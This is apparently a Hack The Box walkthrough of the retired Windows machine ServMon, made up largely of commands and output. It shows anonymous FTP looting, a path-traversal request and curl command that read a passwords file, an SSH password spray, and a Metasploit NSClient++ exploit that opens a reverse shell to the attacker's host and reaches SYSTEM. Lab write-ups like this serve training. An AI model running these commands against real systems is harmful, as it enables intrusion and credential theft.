← all writeups
ServMon avatar

ServMon

Windows Easy 20 pts

Hack The Box · retired · 2026-02-25

Summary: A Windows host exposing a mix of legacy network-monitoring software alongside FTP, SSH, and a locally-bound management console. It exercises anonymous file-share enumeration, web path-traversal/LFI against a vulnerable surveillance app, password reuse and credential hunting, and privilege escalation through an over-privileged service reachable via an SSH tunnel.

nvms-1000lfianonymous-ftpnsclientssh-tunnel

Enumeration

nmap scan

──(kali㉿kali)-[~/htb/servmon]
└─$ nmap -sC -sV 10.129.227.77 | tee nmapbasic 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-07 10:16 -0400
Nmap scan report for 10.129.227.77
Host is up (0.047s latency).
Not shown: 991 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22  07:35PM       <DIR>          Users
22/tcp   open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
|   256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_  256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp   open  http
|_http-title: Site doesn't have a title (text/html).
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6699/tcp open  tcpwrapped
8443/tcp open  ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|_    Location: /index.html
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.98%I=7%D=5/7%Time=69FC9EC1%P=x86_64-pc-linux-gnu%r(NULL,
SF:6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\
SF:r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text
SF:/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x2
SF:0\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XH
SF:TML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DT
SF:D/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.o
SF:rg/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x
SF:20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20
SF:\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%
SF:r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html
SF:\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x
SF:201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xht
SF:ml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/19
SF:99/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x2
SF:0\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\
SF:x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RTS
SF:PRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\nC
SF:ontent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n\
SF:xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\.
SF:0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-t
SF:ransitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/xh
SF:tml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x20
SF:<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\x
SF:20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.98%T=SSL%I=7%D=5/7%Time=69FC9EC9%P=x86_64-pc-linux-gnu
SF:%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation:
SF:\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")
SF:%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDoc
SF:ument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\.1\x20404\r\nCon
SF:tent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(RTSPRequest,36,"
SF:HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20fou
SF:nd")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\n
SF:Document\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-05-07T14:18:10
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.95 seconds

We see we have services like FTP, SSH, a webapp, and SMB running, and some other interesting ports open like 8443 with some interesting NMAP output

Lets start enumerating FTP: We find we have anonymous login with ‘anonymous’:” It seems empty however, one is expected to know there is an invisible Users directory in ftp that you can navigate to or you can user this command to recursively download/enumerate anonymous ftp Anonymous FTP Enumeration wget -r --no-passive ftp://anonymous:[email protected]/

We see this in /Users/Nathan/Notes to do.txt

──(kali㉿kali)-[~/…/servmon/10.129.227.77/Users/Nathan]
└─$ cat 'Notes to do.txt' 
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint  

and this is in /Users/Nadine/Confidential.txt

┌──(kali㉿kali)-[~/…/servmon/10.129.227.77/Users/Nadine]
└─$ cat Confidential.txt 
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine                                                                                                                                            

Foothold

We can research the nvms-1000 service running on our webapp and we see its vulnerable to a path traversal LFI

Opening up the site in burpsuite we can modify the GET request to go back to root and then navigate to Nathan’s desktop for the passwords to be returned in the response

GET /../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: 10.129.227.77
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Referer: http://10.129.227.77/Pages/login.htm
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo: 

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

You can also find it with curl if you use the --path-as-is flag to ensure that curl doesnt normalize the path

──(kali㉿kali)-[~]
└─$ curl "http://10.129.227.77/../../../../Users/Nathan/Desktop/Passwords.txt" --path-as-is
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$       

We can make a userlist with variants of spelling of nadine, nathan, admin, and administrator and bruteforce ssh with these passwords

─(kali㉿kali)-[~/htb/servmon]
└─$ nxc ssh 10.129.227.77 -u userlist.txt  -p nathanpass.txt
SSH         10.129.227.77   22     10.129.227.77    [*] SSH-2.0-OpenSSH_for_Windows_8.0
SSH         10.129.227.77   22     10.129.227.77    [-] nathan:1nsp3ctTh3Way2Mars!
SSH         10.129.227.77   22     10.129.227.77    [-] nadine:1nsp3ctTh3Way2Mars!
SSH         10.129.227.77   22     10.129.227.77    [-] Nathan:1nsp3ctTh3Way2Mars!
SSH         10.129.227.77   22     10.129.227.77    [-] Nadine:1nsp3ctTh3Way2Mars!
SSH         10.129.227.77   22     10.129.227.77    [-] Administrator:1nsp3ctTh3Way2Mars!
SSH         10.129.227.77   22     10.129.227.77    [-] amdinistrator:1nsp3ctTh3Way2Mars!
SSH         10.129.227.77   22     10.129.227.77    [-] admin:1nsp3ctTh3Way2Mars!
SSH         10.129.227.77   22     10.129.227.77    [-] Admin:1nsp3ctTh3Way2Mars!
SSH         10.129.227.77   22     10.129.227.77    [-] nathan:Th3r34r3To0M4nyTrait0r5!
SSH         10.129.227.77   22     10.129.227.77    [-] nadine:Th3r34r3To0M4nyTrait0r5!
SSH         10.129.227.77   22     10.129.227.77    [-] Nathan:Th3r34r3To0M4nyTrait0r5!
SSH         10.129.227.77   22     10.129.227.77    [-] Nadine:Th3r34r3To0M4nyTrait0r5!
SSH         10.129.227.77   22     10.129.227.77    [-] Administrator:Th3r34r3To0M4nyTrait0r5!
SSH         10.129.227.77   22     10.129.227.77    [-] amdinistrator:Th3r34r3To0M4nyTrait0r5!
SSH         10.129.227.77   22     10.129.227.77    [-] admin:Th3r34r3To0M4nyTrait0r5!
SSH         10.129.227.77   22     10.129.227.77    [-] Admin:Th3r34r3To0M4nyTrait0r5!
SSH         10.129.227.77   22     10.129.227.77    [-] nathan:B3WithM30r4ga1n5tMe
[11:10:28] ERROR    Internal Paramiko error for nadine:B3WithM30r4ga1n5tMe, Error reading SSH protocol banner                                                                                            ssh.py:134
SSH         10.129.227.77   22     10.129.227.77    [-] Nathan:B3WithM30r4ga1n5tMe
SSH         10.129.227.77   22     10.129.227.77    [-] Nadine:B3WithM30r4ga1n5tMe
SSH         10.129.227.77   22     10.129.227.77    [-] Administrator:B3WithM30r4ga1n5tMe
[11:10:30] ERROR    Internal Paramiko error for amdinistrator:B3WithM30r4ga1n5tMe, Error reading SSH protocol banner                                                                                     ssh.py:134
           ERROR    Internal Paramiko error for admin:B3WithM30r4ga1n5tMe, Error reading SSH protocol banner                                                                                             ssh.py:134
SSH         10.129.227.77   22     10.129.227.77    [-] Admin:B3WithM30r4ga1n5tMe
           ERROR    Internal Paramiko error for nathan:L1k3B1gBut7s@W0rk, Error reading SSH protocol banner                                                                                              ssh.py:134
SSH         10.129.227.77   22     10.129.227.77    [+] nadine:L1k3B1gBut7s@W0rk  Windows - Shell access!

Privilege Escalation

When looking through the Program Files we see external program NsClient++, we look online for the location of the credential/configuration files for it and find that it is usually stored in nsclient.ini

We find the password ew2x6SsGTxjRwXOT

We can find the version (as well as the password with the following commands via ssh):

nadine@SERVMON C:\Program Files\NSClient++>cmd /c "C:\Program Files\NSClient++\nscp.exe" web -- password --display
Current password: ew2x6SsGTxjRwXOT

nadine@SERVMON C:\Program Files\NSClient++>cmd /c "C:\Program Files\NSClient++\nscp.exe" --version
NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64

We can now port forward localhost:8443 to our machine and run the nscp_authenticated_rce msf module to exploit the vulnerability automatically

msf exploit(windows/http/nscp_authenticated_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1                                                                                                                                                      
msf exploit(windows/http/nscp_authenticated_rce) > run
[*] Started reverse TCP handler on 10.10.15.144:4444                                                                                                                     
[!] AutoCheck is disabled, proceeding with exploitation                                                                                                                  
[*] Configuring Script with Specified Payload . . .                                                                                                                      
[*] Added External Script (name: mzesfcngja)                                                                                                                             
[*] Saving Configuration . . .                                                                                                                                           
[*] Reloading Application . . .                                                                                                                                          
[*] Waiting for Application to reload . . .                                                                                                                              
[*] Triggering payload, should execute shortly . . .                                                                                                                     
[*] Sending stage (190534 bytes) to 10.129.29.169                                                                                                                        
[*] Meterpreter session 2 opened (10.10.15.144:4444 -> 10.129.29.169:49684) at 2026-05-07 15:12:32 -0400
meterpreter > sessions -i 2
[*] Session 2 is already interactive.                                                                                                                                    
meterpreter > shell                                                                                                                                                      
Process 2660 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
whoami
nt authority\system

C:\Program Files\NSClient++>